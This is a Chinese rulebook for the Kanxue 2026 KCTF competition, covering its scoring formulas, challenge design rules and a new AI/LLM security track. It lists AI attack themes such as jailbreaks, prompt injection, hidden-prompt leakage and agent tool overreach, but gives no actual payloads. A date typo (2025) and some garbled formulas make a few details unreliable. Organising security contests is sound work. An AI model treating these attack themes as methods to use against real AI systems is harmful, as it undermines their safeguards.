欢迎踊跃参与赢大奖

8月5日征题截止  *文末抽奖福利别错过

永夜十二时辰，破壁智竞启新章！看雪・2026 KCTF 重磅来袭，作为国内安全圈积淀深厚、口碑载道的顶级攻防竞技赛事，本届大赛紧跟 AI 技术浪潮全面革新，新增 AI专属赛道，合规开放 AI 工具辅助攻防全流程。

赛事延续经典攻防双阶段赛制，防守方匠心筑题、攻击方极速夺旗，以动态积分机制衡量技术实力，兼顾难度、创意与实战价值，

即日起至8月5日防守方征题火热开启！大疆运动相机、布鲁克斯跑鞋、索尼运动耳机等重磅好礼静待技术强者，更有机会跻身安全圈人才梯队，解锁职业新机遇。诚邀全网安全精英以技会友，在这场攻防盛宴中突破边界、共探安全新境！

1.活动时间

防守方出题：2026年4月2日 ～ 2026年08月05日（防守方题目准备阶段）
攻击方比赛：2026年08月10日 ～ 2025年09月10日（具体视比赛情况定）

2.比赛页面

2026 KCTF 官方网站：https://ctf.kanxue.com/game-team_list-22-45.htm

为适应 AI 技术在安全研究、CTF 出题与解题中的应用发展，2026 年 KCTF 规则拟作如下更新：

1.新增 AI Security / LLM Security 题型

征题范围新增 AI 安全 / 大模型安全方向，包括但不限于 Prompt Injection、Jailbreak、RAG 安全、Agent 工具调用安全、模型与数据安全、AI 供应链安全、LLM 应用漏洞利用等相关题目。

AI Security / LLM Security 题目须保证可复现、可审计、可稳定判定，不得依赖不可控外部 AI 服务作为核心判题逻辑，相关题目须经组委会专项审核后方可参赛。

2.允许攻防双方使用 AI 工具

防守方和攻击方均可使用 AI 工具辅助出题、审计、分析、解题、脚本编写和 writeup 整理。

AI 工具仅作为辅助工具，使用方对 AI 生成或辅助生成的内容承担全部责任。使用 AI 不降低题目的原创性、安全性、稳定性、可复现性和可审计性要求，也不改变攻击方积分计算方式。

3.新增 AI 使用披露要求

防守方如使用 AI 工具辅助出题，应在提交材料中说明 AI 使用情况，包括 AI 参与环节、是否进行人工审核、是否包含 AI 生成代码或第三方内容等。组委会可根据审核需要要求补充说明。

4.明确 AI 使用边界

允许使用 AI Agent 或自动化脚本辅助分析，但不得对比赛平台、靶机或判题系统进行高频、无节制、破坏性或超出题目范围的自动化请求。

不得利用 AI 工具实施攻击比赛平台、破坏比赛环境、绕过平台权限、批量爆破、泄露 flag、共享答案、攻击非题目目标等违规行为。

5.优化部分规则表述

统一题型和平台名称表述，将 Windows、Android、Linux、IoT 等名称规范化；修正部分章节编号、年份表述和重复编号问题；扩展“多解/非预期解”的定义，使其适用于 CrackMe、Reverse、PWN、WEB、Crypto 及 AI Security / LLM Security 等题型。

主办方：

支持单位：虚位以待，诚招加入！

本届 KCTF 团队赛为线上赛，由论坛会员自由组成攻、防两方团队，每个团队人数不超过 5 人。由防守方出题，攻击方夺旗。

1.防守方提交题目

参加防守的团队，每个团队需要提供一个防守题目到提交区：KCTF2026提交区(隐藏版块）：https://bbs.kanxue.com/forum-122.htm

评委审核通过后方可作为防守方参赛，审核结果在攻击赛开始前一天公布。

2.赛期

规则：顺序发题、弹性赛期。

防守题的赛期根据被破解情况决定，最少 1 天，最多 4 天。

一律中午 12 点发题。发题当天记作第 0 天。

若第 i 天上午 6 点该题被破解次数大于等于53−i5^{3-i}53−i，则在第 i 天中午 12 点结束该题，发下一题。

解释

• 发题后的第 1 天 6 点，若破解次数少于 25 人，则继续比赛；

• 发题后的第 2 天 6 点，若破解次数少于 5 人，则继续比赛；

• 发题后的第 3 天 6 点，若破解次数少于 1 人，则继续比赛；

• 以上任意一天继续比赛的条件不满足，就中午 12 点换下一题；

• 6 点至 12 点之间的破解，依然有效；发题后的第 4 天中午 12 点，此题一定结束。

3.积分规则

防守题积分分为难度值积分、火力值积分和精致度积分三种。在所有奖项评选中，若积分相同，则以提交题目时间来排序，最早提交题目的胜出。

攻击方积分是根据其破解战绩而计算得到的。

注：攻击者不能攻击自己提交的题目。

3.1 难度系数评估

基本原则

• 根据每道防守题的实际被破解时间、次数和多解，评价每道题的相对难度系数。

• 赛期内被发现多解的扣分，在此题赛期内直接生效。

计算方法

• 每道题的原始难度系数：原始难度系数=

  

  其中，k 是此题被破解的次数，Bi 是此题的被破解时间，i 从 1 到 k，T 是此题赛期（天数）。

• 将每道题的原始难度系数线性归一化到 [0,1]，即得到每道题的原始归一难度系数（此系数将用于攻击方计分）。

• 多解难度系数 = 原始难度系数 *(Mn)(M^n)(Mn),其中，M 为多解计算系数（87%），n 为在此题赛期内被发现的多解攻击方团队数量，n 大于 5 时，视同为 5。

• 将每道题的多解难度系数线性归一化到 [0,1]，即得到每道题的难度系数。（在比赛中，尚未被破解的题（含尚未开始比赛的题），暂计其难度系数为 1）。

解释

多解或非预期解，是指在某个问题或任务中，存在两个或更多个不同的flag，这些flag都能够满足问题或任务的要求；

• 被破解次数越少、被破解时间越长、被发现多解的个数越少、挺过赛期越久的防守题，其难度系数越大。

• 若被 1 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87%；

• 若被 2 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% = 原始难度系数 * 0.7569；

• 若被 3 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% = 原始难度系数 * 0.658503；

• 若被 4 个攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% * 87% = 原始难度系数 * 0.57289761；

• 若被 5 个及以上攻击方发现多解，则此题多解难度系数 = 原始难度系数 * 87% * 87% * 87% * 87% * 87% = 原始难度系数 * 0.4984209207。

• 难度系数是相对值，会随着比赛进行而变化。最简单的题难度系数为 0，最难的题为 1。比赛结束时将得到每道题的最终难度系数。

3.2 火力值积分

基本原则

• 火力值计分规则鼓励：既具有较高难度又适合于有限赛期的题。难度较高且在赛期之内能够被破解的题，将获得较高火力值积分。

计算方法

• 对每道题，分别计算每个破解者的攻击火力系数，得分在 [1,0) 之间：

  攻击火力系数 = 此题一血时间 / 此攻击方破解此题的时间

• 对每道题，累计每个破解者的攻击火力系数之和，得到此题累计攻击火力系数。无人破解的题，累计攻击火力系数为 0。

• 根据每道题（除签到题以外）的归一化难度系数，计算所有破解者在此题上的火力值：

  火力值 = 此题难度系数 * 累计攻击火力系数 * 100

• 根据每道题的火力值从高到低排序，评选本届比赛“火力焦点奖”。

解释

• 完全无人破解的题目，火力值为 0；

• 除签到题以外，最简单的题，其难度系数为 0，其火力值也为 0；

• 难度较高且有多人破解的题，会得高分。

3.3 难度值积分

基本原则

• 难度值计分规则鼓励：破解难度最高的题。它们代表着本届比赛的防守最高水平。

计算方法

• 出题难度值：

  出题难度值 = (出题基本分 50 分 + 难度系数 * 难度加权分 150 分) * (1 + 一血加分系数)

• 若无人破解此题，则一血加分系数为 10%；若有人破解成功，则一血加分系数为 0。

• 根据每道题的难度值从高到低排序，评选本届比赛“最佳坦克奖”。

解释

• 最简单的题的出题难度值是：出题基本分；

• 最难的题是：出题基本分 + 难度加权分；

• 一血的定义是指：题目第一次被破解；若无人拿下此题一血，则此题获得额外 10% 加分。

3.4 精致度积分

基本原则

• 精致度计分规则鼓励：难度高且代码短的防守题。精致度反映了一道题的难度密度。

• 题目是以 CPU 指令构成的，或者用自定义语言编写且自带解释器的，可以参评。

• 用其它解释型语言编写的，不参评。

• WEB 题不参与精致奖评定。

• AI Security / LLM Security 题目是否参与精致奖评定，由组委会根据题目形态、题目包规模、核心逻辑和评审情况另行判定。

计算方法

• 防守题原始长度指标：

  防守题原始长度指标 = log(在比赛中供攻击方下载的题目包的文件长度)
  以 Byte 为单位。长度不足 1024B 的，计作 1024B。

• 将每道题的原始长度指标线性归一化到 [0,1]，即得到每道题的长度指标。

• 精致度积分 = 出题基本分 50 分 + (难度系数 * (1 - 长度指标)) * 450

• 根据每道题的精致度积分从高到低排序，评选本届比赛“精致奖”。

解释

• 具有一定难度且代码较短的题目，会得到较高精致度积分；

• 攻击方下载的题目包可以是压缩的，压缩格式为 ZIP 或 RAR，由参赛者提供；

• 题目下载包必须包含题目正常运行所需所有文件；

• 比赛规则已经指定了多款 OS 作为运行平台。若题目需要其它软件支持，必须将其带入到题目包中。例如：题目需要一个特殊的 lib，则需要带上这个 lib。

3.5 攻击方积分

基本原则

• 攻击方计分规则鼓励：破解高难度题目最多最快的团队。他们代表着本届比赛的攻击最高水平。

计算方法

• 攻击方在某一道题上的得分：

  攻击方得分 = (出题基本分 50 分 + 此题原始归一难度系数 * 难度加权分 150 分) * (此题一血时间 / 此攻击方破解此题的时间 + 1) / 2 * (1 + 一血加分系数)

• 攻击方总积分 = 攻击方在其破解的每道题上的得分之和。

解释

• 若攻击方是此题的一血破解者，将获得此题出题难度值的 10% 的额外加分。

• 其他破解者无一血加分，且得分依破解时间递减，理论上最少将获得此题出题难度值的一半。

• 如果未破解此题成功，则在此题上不得分。

• 攻击者在某题上的得分，不因此题出现多解而受影响。

• 攻击方是否使用 AI 工具辅助分析、解题、脚本编写或 writeup 整理，不影响积分计算，仍以提交正确 flag、注册码、序列号或其他有效解题结果的时间为准。

1.征题范围

CrackMe/Reverse（Windows、Android、Linux、IoT 等）、PWN、WEB、Crypto、AI Security / LLM Security 等相关题目。
注：自 2023 年起，不接受 Misc 类题型。

AI Security / LLM Security 题目包括但不限于 Prompt Injection、Jailbreak、RAG 安全、Agent 工具调用安全、模型与数据安全、AI 供应链安全、LLM 应用漏洞利用等方向。该类题目须保证可复现、可审计、可稳定判定，不得依赖不可控外部 AI 服务作为核心判题逻辑，相关题目须经组委会专项审核后方可参赛。

2.征题数量

数量不限！选出10-12题较为优秀的题目参与 KCTF 赛，其他符合规则的题目将录入平台数据库备用。

3.征题期限

2026年4月2日 ～ 2026年8月5日

4.征题要求

1)原创性要求

所有题目必须是原创并且没有公开过。

使用 AI 辅助生成的题目，仍须满足原创且未公开要求。不得直接提交公开题、历史题、他人题目、训练语料中高度相似的题目，或未经授权的第三方代码、素材和数据。

AI 生成或辅助生成的内容一旦提交参赛，视同防守方自行设计和编写，由防守方承担全部责任。

2)防守方提交内容

防守方应打包提交以下内容：

• 团队名称；

• 团长 QQ；

• 参赛题目；

• 题目答案（攻击脚本）；

• 详细的题目设计说明；

• 破解思路；

• 其他需要说明的问题；

• AI 使用说明。

提交资料不完整的不予通过。

3)AI 使用说明

若防守方使用 AI 工具辅助出题、写代码、生成题面、生成 writeup、编写 exp、检查非预期或进行其他相关工作，应在提交材料中补充 AI 使用说明。

AI 使用说明建议包括：

• 是否使用 AI 工具；

• 使用的 AI 工具或模型名称，可概括填写；

• AI 参与的环节，例如题目构思、代码生成、混淆、writeup、exp、测试、非预期检查等；

• 是否对 AI 生成内容进行了人工审核；

• 是否包含第三方代码、开源代码或 AI 生成代码；

• 是否完成安全性、原创性、可复现性和非预期解检查。

组委会可根据审核需要，要求防守方补充提供 AI 参与环节、代码来源、人工审核记录、测试记录或其他必要说明。

未如实披露并造成题目泄露、非原创、不可复现、安全风险或比赛公平性问题的，组委会有权取消题目资格或调整成绩。

4)提交入口

题目提交到看雪 CTF 提交区：

KCTF2026提交区（隐藏版块）https://bbs.kanxue.com/forum-122.htm

5.题目规则

Android、Linux、IoT 逆向题的设计规则，请参考 Windows 逆向题规则。

5.1 关于 Windows 平台 CrackMe 设计规则

Windows 平台题目规则有两个方案，参赛者可以任选一种方案来出题参赛。

如果选手采用方案二参赛，必须在提交题目时明确参赛模式，否则默认以方案一模式参赛。

提交格式

├─Readme.md------------|题目描述文档
├─Writeup.md-----------|writeup
├─attachments----------|题目文件
├─src------------------|源文件
└─files----------------|writeup包含的图片等文件

5.1.1 Windows 方案一

5.1.1.1 关于注册码

1)CrackMe 应有且仅有唯一注册码，除给定的注册码外。如果 CrackMe 被发现多解，则根据积分规则扣分。CrackMe 的注册码字符集限定为['!','~']，即 ASCII 码范围是[33,126]，共 94 个可选字符。不允许将注册码绑定硬件 ID。

2)CrackMe 界面

参赛 CrackMe 界面必须有且仅有注册码输入项，例如类似的界面，界面仅供参考，可以是控制台。

┌────────────────────────────────────┐
│┌──────────────┐│
│Serial└──────────────┘│
│KCTF2026│
└────────────────────────────────────┘

3)CrackMe 输入

• CrackMe 在没有被附加调试的情况下运行时，第一次运行时输入正确注册码，必须显示成功提示信息。若是重启验证的，在重启后必须显示。

• 在 CrackMe 没有被改动且没有被其他程序干扰的情况下，只要输入了注册码，显示了成功信息，则认为该注册码是正确的，否则设计不合理。

4)CrackMe 输出显示

• 注册成功，要出现成功提示信息。

• CrackMe 里不允许出现虚假的注册成功提示信息。

5.1.1.2 算法规则

1)不鼓励穷举

• 在当前技术条件下，序列号从理论上讲，是可逆或可求出来的。

• 如果破解者必须通过穷举才能得到注册码，设计文档里一定要描述清楚，并且将穷举代码和程序发给评委验证。评委验证时，在当前主流硬件配置条件下，如果穷举时间超过 30 分钟则不通过。

• 如果在当前主流硬件配置条件下，CrackMe 的启动时间超过 10 秒也不通过，需要返回修改。

2)其他限制条件

• 参赛 CrackMe 必须可以在 Windows 11/64、Windows 11/32、Windows 10/64、Windows 10/32 其中一种系统正确运行。推荐优先支持 Windows 11/64 或 Windows 10/64。原则上不再将 Windows 7 和 Windows XP 作为默认支持平台。

• 参赛 CrackMe 不可使用第三方保护工具来保护 CrackMe，例如第三方壳和 VM。

• 参赛 CrackMe 不可使用 VM 来保护，包括第三方 VM 和自己写的 VM。（注：若要用自己实现 VM 参赛，请按 Windows 方案二规则提交题目。）

• 参赛 CrackMe 执行后，不能干扰破解者正常使用电脑。比如关闭显示器、禁用键盘鼠标、关机、暴力占用内存或 CPU 资源使电脑死机、破坏电脑文件等类似操作不允许，但允许采用技术手段关闭调试器，防止破解者破解。

• 参赛 CrackMe 设计的总体原则是绿色安全，不可含木马或 rootkit，没有任何危险或恶意程序，不能对系统进行破坏，可以正常结束，结束后不能给系统留下垃圾。比如临时文件要删除，驱动要卸载干净，不可使系统重启。

• 参赛 CrackMe 如果有任何危险或者恶意行为，ban ID。如果有杀软或者 360 等安全软件报 CrackMe 有异常行为，评委有权要求参赛选手解释。

• 参赛 CrackMe 不可以联机到网络，或使用服务器注册，CrackMe 必须可以在单机运行。

• 所提交的参赛 CrackMe 运行文件包括 .exe、.dll、.sys 等，在不打包压缩时总大小不超过 1M。

• 如果评审有怀疑，例如怀疑加壳伪装，可以要求队伍提供 CrackMe 的源码。

• 如果评审认为 CrackMe 使用了不合理的设计，或违反比赛精神，便会判定 CrackMe 无效，取消奖品和名次，并把参赛者提交的技术文件在论坛公开，让会员公开讨论。

5.1.2 Windows 方案二

5.1.2.1 关于用户和序列号

1)防守方发布的 CrackMe 应允许输入用户名和序列号，并提示用户名和序列号是否匹配正确。

界面仅供参考，可以是控制台。

┌────────────────────────────────────┐
│┌──────────────┐│
│name└──────────────┘│
│┌──────────────┐│
│Serial└──────────────┘│
│KCTF2026│
└────────────────────────────────────┘

2)用户名和序列号要求

• 防守方在发布 CrackMe 时，应向大众公开一组用户名和序列号，即 “Name/Serial”。

• 其中公开的这个用户名 “Name”，必须是该 CrackMe 文件的 hash 值。

• hash 算法指定为 SHA256，用户名为 hash 结果的前 64bit 的 16 进制大写文字。例如：参赛 CrackMe.exe 文件的 hash 结果是50be38745d82d93f3a974701e86c1cafcbc2ec83d1f1913d216079022ba7317f
  则用户名 “Name” 应为：50BE38745D82D93F

• 如果 CrackMe 不止一个文件，计算 hash 时应包含 CrackMe 的所有文件，第三方共享库除外。参考 hash 计算工具：https://emn178.github.io/online-tools/sha256_checksum.html

3)判胜条件

• 若攻击方找出特定用户名 “KCTF”（不含引号）的序列号，经 KCTF 系统自动确认，将认定攻击方获胜。

• 若攻击方找出特定用户名 “KCTF”（不含引号）的第二个序列号，经 KCTF 官方确认，将认定攻击方获胜，且此题多解。

4)规则限制

• 干净环境中，当前主流硬件配置环境下，20 秒内出提示且不能虚假提示。(2026年更新）

• KeyGen 算法不能基于“未在 CrackMe 中公开的秘密信息”。如果需要穷举，则穷举时间在目前主流机型中必须小于 30 分钟。

• 不能依赖网络，不能依赖硬件。

• 禁止使用第三方保护工具，禁止恶意破坏机器。

• 参赛 CrackMe 允许用自己未公布的壳或 VM 或其他手工处理的方法来保护程序（VM 或壳的嵌套最多 2 层），但必须将保护该 CrackMe 所使用的壳或 VM 或其他手工处理的方法与 CrackMe 一同提交，评委审核通过后方可参赛。
  所提交的壳或 VM 程序和源码，或其他手工处理的方法，将在赛后向广大会员公开。凡违反该比赛规则的 CrackMe 将作废，设计该 CrackMe 的会员将取消本届比赛的参赛资格。
  关于 VM 定义：所有掩盖原始程序、以解释方式执行的保护方式都可统称 VM。比如 Java VM 也算 VM，其它模拟器也算 VM。赛题中，壳内壳外的所有 VM 加起来，不要超过 2 层。

• 所提交的参赛 CrackMe 运行文件包括 .exe、.dll、.sys 等，在不打包压缩时总大小不超过 10M。

• 同一用户名不应有多个序列号，否则根据积分规则扣分。

• 禁止在 CrackMe 中为特定用户名 “KCTF” 设立独立验证路径，以绕开 hash 用户名的验证路径。

• 序列号字符集限定为['!','~']，即 ASCII 码范围是[33,126]，共 94 个可选字符。

• 不限制使用套娃。可以使用任何数据和代码变换。

• 不限制线索隐藏方式。可以将线索以任何形式置于 CrackMe 的任何位置。

5.2 关于 Android/iOS 平台 CrackMe 设计规则

参考 5.1 Windows 平台规则（方案一和方案二），确保 CrackMe 能在常见移动端稳定运行。

5.3 关于 PWN 的设计规则

CTF 中的 PWN 是一个关于二进制漏洞挖掘与利用的方向。通过对二进制程序进行逆向分析，挖掘程序中存在的漏洞并进行漏洞利用，最终获取目标主机的 shell 或读取 flag。

5.3.1 题目规则

1)规则

• 设计一个存在漏洞的程序。

• 漏洞包括但不限于堆栈溢出、UAF、DOUBLE FREE、OFF BY ONE、格式化字符串、逻辑错误等漏洞。

• 提供稳定的漏洞利用 EXP，攻击者根据漏洞攻击成功后能获得 flag，flag 格式为：flag{***}

• 题目提供二进制附件，或以 Docker 形式提交，并提供详细的部署方法。

2)其他限制条件

• 尽量不要出带有爆破、猜测的题目，避免比赛选手使用爆破工具给服务器带来较大压力。

• 控制解题流程，避免非预期。

带* 有文件上传或者代码执行的题目，要控制好权限，避免环境被破坏。

• PWN 文件允许用自己未公布的壳或 VM 或其他手工处理的方法来保护程序（VM 或壳的嵌套最多 2 层），但必须将保护该 PWN 文件所使用的壳或 VM 或其他手工处理的方法与 PWN 附件一同提交，评委审核通过后方可参赛。

• 所提交的壳或 VM 程序和源码，或其他手工处理的方法，将在赛后向广大会员公开。凡违反该比赛规则的 PWN 题将作废，设计该 PWN 题的会员将取消本届比赛的参赛资格。

• 关于 VM 定义：所有掩盖原始程序、以解释方式执行的保护方式都可统称 VM。比如 Java VM 也算 VM，其它模拟器也算 VM。赛题中，壳内壳外的所有 VM 加起来，不要超过 2 层。

• PWN 主文件尺寸不超过 10M。

5.3.2 提交格式

├─Readme.md--------------|题目描述文档
├─Writeup.md-------------|writeup
├─exp--------------------|解题关键脚本
├─attachments------------|题目文件
├─deploy-----------------|online型题目部署脚本
│  └─docker_for_pwn-------|pwn题示例
│     │  Dockerfile
│     │  xctf.xinetd
│     │
│     └─bin
│             pwn
│             flag
│
└─files------------------|writeup包含的图片等文件

• Dockerfile：基于官方 Docker 镜像生成后需要部署的内容，并且暴露对应端口使用。

• attachments：提供给选手分析使用的相关文件。

5.3.3 公开给选手文件

• 防守方应公开题目运行和分析所需的必要文件，包括题目可运行 Docker 环境，或完整 Dockerfile、启动脚本、attachments 及相关配置文件。

• 公开文件应尽量与线上比赛环境保持一致，使攻击方能够在本机或本地 Docker 环境中复现题目环境，完成运行、调试和 EXP 验证。

• 如题目依赖特定系统版本、架构、运行库、环境变量、端口或启动参数，应在 Readme.md 中明确说明。

• 若线上环境与公开文件存在差异，防守方应明确标注；因环境差异导致题目无法复现或影响解题的，组委会有权要求补充材料、调整题目或判定题目无效。

5.4 关于智能硬件 PWN 设计规则

题目设计规则：

• 设计一个可以运行于模拟器如 qemu 中基于 uboot 的 arm32 位程序。

• 该程序能够通过 uboot 引导并稳定执行。

• 该程序可设计为存在漏洞程序、CrackMe 程序等。

• 参赛者可以解题成功后获得：flag{*********}

• 设计者需提供可以运行设计程序的 qemu 版本信息，以及让 uboot 成功运行起来的必要信息，如模拟的目标板、内存等。

• 设计者还需要提供已经设计好的 uboot 二进制文件、比赛程序、解题思路及答案。

5.5 关于 WEB 题目设计规则

1)规则

• 设计一个存在 WEB 漏洞的 WEB 程序。

• 漏洞包括但不限于注入、命令执行、文件上传等漏洞。

• 攻击者根据漏洞攻击成功后能获得 flag，flag 格式为：flag{***}

• 题目以 Docker 形式提交，并提供详细的部署方法。

• WEB 题不参与精致奖评定。

提交格式:

│  Readme.md-------------|题目描述文档
│  Writeup.md------------|writeup
├─attachments------------|题目文件
├─deploy-----------------|online型题目部署脚本
│  │
│  └─docker_for_web-------|web题示例
│      │  Dockerfile
│      │  run.sh
│      │
│      └─bin
│  index.php
└─files------------------|writeup包含的图片等文件

2)其他限制条件

• 尽量不要出带有爆破、猜测的题目，避免比赛选手使用爆破工具给服务器带来较大压力。

• 控制解题流程，避免非预期。

• 带有文件上传或者代码执行的题目，要控制好权限，避免环境被破坏。

5.6 关于 Crypto 题目设计规则

• 密码学方向的考题在 CTF 中被归为 Crypto 类型，主要目标是找出隐藏在密码学算法中的 flag。

• 题目应提供完整题面、必要附件、解题思路、答案和验证方式。

• Crypto 题目应避免仅依赖大规模爆破或不可复现随机性。若题目涉及随机数、密钥生成、参数生成或交互式服务，应确保题目环境稳定、结果可验证、解题路径明确。

5.7 关于 AI Security / LLM Security 题目设计规则

AI Security / LLM Security 题目，是指以人工智能系统、大语言模型应用、智能 Agent、RAG、模型接口、提示词工程或 AI 应用安全缺陷为主要攻击对象或核心解题要素的题目。

该类题目应遵循 CTF 基本判定方式：攻击方通过利用题目中设计的 AI 安全问题，最终获得明确的 flag 或其他可验证结果。

flag{***}

题目不得仅以“说服模型”“让模型输出某类内容”“完成某种对话效果”等主观结果作为唯一判定标准，必须能够通过明确结果进行判定。

AI Security / LLM Security 题目须保证可复现、可审计、可稳定判定。原则上不得依赖不可控的外部在线 AI 服务、商业模型接口或会随时间变化的远程模型能力作为核心判题逻辑。确需使用的，须提前向组委会说明，并经审核通过。

5.7.1 题目方向

AI Security / LLM Security 题目包括但不限于以下方向。各方向均应围绕明确的 CTF 判定目标设计，攻击方通过完成对应攻击路径，最终获得flag{***}或其他可验证结果。

1)Prompt Injection / Jailbreak

包括但不限于：

• 绕过系统提示词限制；

• 诱导模型泄露隐藏信息；

• 间接提示词注入；

• 多轮对话上下文污染；

• 利用提示词边界错误获取 flag。

2)RAG/知识库安全

包括但不限于：

• 隐藏文档泄露；

• 越权查询；

• 检索污染；

• 向量数据库信息泄露；

• 知识库权限隔离失败。

3)Agent/Tool Calling 安全

包括但不限于：

• 工具调用越权；

• 文件读取；

• SSRF；

• 命令执行；

• Agent 权限过大；

• 多工具调用链攻击。

4)AI 应用与传统漏洞结合

包括但不限于：

• LLM 应用中的 WEB 漏洞；

• AI 助手插件漏洞；

• RAG 系统中的权限绕过；

• Agent 调用链中的文件读取、命令执行、SSRF 等；

• AI 应用与 PWN、WEB、Crypto 等传统方向结合的组合题。

这类题目可根据核心考点归入 AI Security / LLM Security 或传统 WEB/PWN/Crypto 题型。若核心解题点主要围绕 AI 应用安全，则建议归入 AI Security / LLM Security。

5.7.2 题目规则

设计一个以 AI 系统、大模型应用、智能 Agent、RAG 系统、模型接口或 AI 应用安全缺陷为核心攻击对象的题目。

攻击者根据题目目标成功完成攻击后，应能获得明确的 flag 或其他可验证结果。

题目应提供完整题面、部署方式、运行环境、验证方式、解题思路和答案。

题目建议以 Docker 或其他可复现形式提交。若使用本地模型、模拟模型服务、向量数据库、知识库或工具调用环境，应一并提供完整部署方法和依赖说明。

5.7.3 可复现与判题要求

AI Security / LLM Security 题目必须保证结果稳定、环境可复现。

防守方应提供完整部署环境、必要数据、配置文件、判题逻辑和测试样例，确保题目在赛期内可以稳定运行和验证。

若题目涉及模型输出，应尽量通过固定环境、固定参数、固定提示词、固定上下文、固定随机种子或 mock 服务等方式降低不确定性。

题目不得仅依赖模型随机输出或主观判断作为判题依据。

5.7.4 外部服务与安全限制

AI Security / LLM Security 题目原则上不得依赖不可控的外部在线 AI 服务作为核心判题逻辑。

确需使用外部模型或在线服务的，须提前向组委会说明，并经审核通过。

题目应在隔离环境中运行，不得要求攻击真实第三方 AI 服务、绕过真实平台安全策略、窃取真实用户数据或生成现实恶意内容。

题目中使用的文档、知识库、训练数据、日志、对话记录等内容不得包含真实个人隐私、真实账号凭证、真实商业秘密或未经授权的数据。

题目应控制请求频率、上下文长度和资源消耗，避免攻击方通过高频调用、爆破或自动化 Agent 对平台造成过大压力。

5.7.5 提交格式

├─Readme.md--------------|题目描述文档
├─Writeup.md-------------|writeup
├─exp--------------------|解题关键脚本或说明
│
├─attachments------------|提供给选手分析使用的题目文件
├─deploy-----------------|题目部署脚本
│  └─docker_for_ai--------|AI题示例
│     │  Dockerfile
│     │  run.sh
│     │
│     ├─app--------------|题目服务代码
│     ├─data-------------|知识库、测试数据或题目数据
│     └─config-----------|固定参数、提示词、策略配置等
│
└─files------------------|writeup包含的图片等文件

如题目使用本地模型、mock 模型服务或固定输出服务，应在 Readme.md 中说明运行方式，并提供必要文件和测试方法。

5.7.6 奖项和积分说明

AI Security / LLM Security 题目参与攻击方积分、难度值积分和火力值积分。

AI Security / LLM Security 题目是否参与精致奖评定，由组委会根据题目形态、文件规模、核心逻辑和评审情况另行判定。

6.1 AI 使用总原则

本届比赛允许防守方和攻击方使用 AI 工具辅助出题、审计、分析、解题、脚本编写和 writeup 整理。

AI 工具仅作为辅助工具，使用方对 AI 生成或辅助生成的内容承担全部责任。

使用 AI 不降低题目的原创性、安全性、稳定性、可复现性和可审计性要求，也不改变攻击方积分计算方式。

6.2 防守方使用 AI 的要求

防守方可以使用 AI 工具辅助以下工作：

• 题目创意设计；

• 代码生成或代码优化；

• 混淆逻辑设计；

• 题面文案编写；

• Readme 编写；

• Writeup 编写；

• EXP 或攻击脚本编写；

• 非预期解检查；

• 安全性检查；

• 部署脚本编写。

但 AI 只能作为辅助工具。防守方对最终提交题目的原创性、安全性、稳定性、可解性、可审计性和合规性承担全部责任。

使用 AI 生成或辅助生成的代码，视同防守方自行编写代码，必须满足源码审计、恶意行为排查、环境复现和赛后公开要求。

组委会有权要求防守方补充说明相关代码来源、生成方式和人工审核情况。

6.3 攻击方使用 AI 的要求

攻击方可以使用 AI 工具辅助解题，包括但不限于：

• 逆向分析；

• 代码审计；

• 漏洞分析；

• EXP 编写；

• 脚本编写；

• Crypto 分析；

• WEB 漏洞分析；

• PWN 思路辅助；

• 题目理解；

• Writeup 整理；

• 自动化分析辅助。

攻击方是否使用 AI，不影响攻击方积分计算。

攻击方成绩仍以提交正确 flag、注册码、序列号或其他有效解题结果的时间为准。

6.4 AI Agent 和自动化工具限制

允许使用 AI Agent 或自动化脚本辅助分析，但不得对比赛平台、靶机或判题系统进行高频、无节制、破坏性或超出题目范围的自动化请求。

组委会可根据流量、日志、请求频率和实际影响判定是否违规。

使用 AI 工具不得突破原有比赛边界。凡通过 AI 实施或辅助实施攻击比赛平台、破坏靶机环境、批量爆破、越权访问、泄露 flag、共享答案、攻击非题目目标等行为，均按违规处理。

6.5 AI 使用披露和审计

防守方使用 AI 辅助出题的，应在提交材料中说明 AI 使用情况，包括 AI 参与环节、是否进行人工审核、是否包含 AI 生成代码或第三方内容等。

不强制防守方公开完整 prompt 或完整 AI 对话记录，但组委会在审核需要时，可以要求防守方补充说明。

攻击方通过 AI 工具获得的分析结果、脚本、payload 或答案，由攻击方自行负责。若 AI 输出内容涉及违规攻击、答案泄露、他人 writeup、非授权资料或其他违规来源，攻击方不得以“AI 生成”为由免责。

6.6 AI 相关禁止行为

参赛队伍不得利用 AI 工具获取、整理、传播或使用非公开题目、flag、writeup、源码、评审资料、其他队伍解题材料等信息。

无论相关信息是否由 AI 工具生成、总结或提供，一经确认均按违规处理。

禁止利用 AI 工具实施以下行为：

• 攻击比赛平台；

• 破坏比赛环境；

• 绕过平台权限；

• 批量爆破；

• 攻击非题目目标；

• 泄露他人信息；

• 共享答案；

• 获取或传播非公开 flag、writeup、源码、评审资料；

• 使用泄露渠道获得答案；

• 其他违反比赛公平性和安全边界的行为。

6.7 AI 相关泄露责任

因使用 AI 工具导致题目、flag、源码、攻击脚本、账号凭证、评审资料或其他比赛敏感信息泄露的，由使用方自行承担责任。

造成比赛公平性影响的，组委会有权取消参赛资格、取消题目资格、调整成绩或作出其他处理。

6.8 组委会解释权

AI 工具、AI Agent、AI Security / LLM Security 题型及相关技术发展较快。对于规则未覆盖的新情况，组委会有权根据比赛公平性、安全性、可复现性和比赛精神作出解释和处理。

本次比赛设置3类奖项：

7.1 防守方奖项

防守方奖项设3类：最佳坦克奖、火力焦点奖、精致奖

*奖品价值：最佳坦克奖>火力焦点奖>精致奖

同一战队获奖类型，不可重复。若已获得靠前类别奖项，则不参与后续的评定。

解释：

• 若获得最佳坦克奖，则不参与火力焦点奖、精致奖评定

• 若获得火力焦点奖，则不参与精致奖评定

• 同时，该类别奖项将按名次顺延给下一战队。

7.2 攻击方奖项

根据攻击方获得的 “3.5 攻击方积分”进行排名，取前一、二、三名，分别对应一等奖、二等奖、三等奖。

7.3 幸运奖

评选战队：防守方（未得奖战队）+攻击方（第4～10名）

奖品：看雪·2026 定制周边T恤（每个战队1件）

快来参与抽奖赢SDC门票！

阅读原文

跳转微信打开

看雪论坛作者ID：TeddyBe4r

这篇文章旨在帮助想要开发自己shellcode编译器的朋友，为你们提供思路与解决方案。由于文章产物的特殊性本文将不会提供代码，请各位读者在阅读完文章之后自行实现。

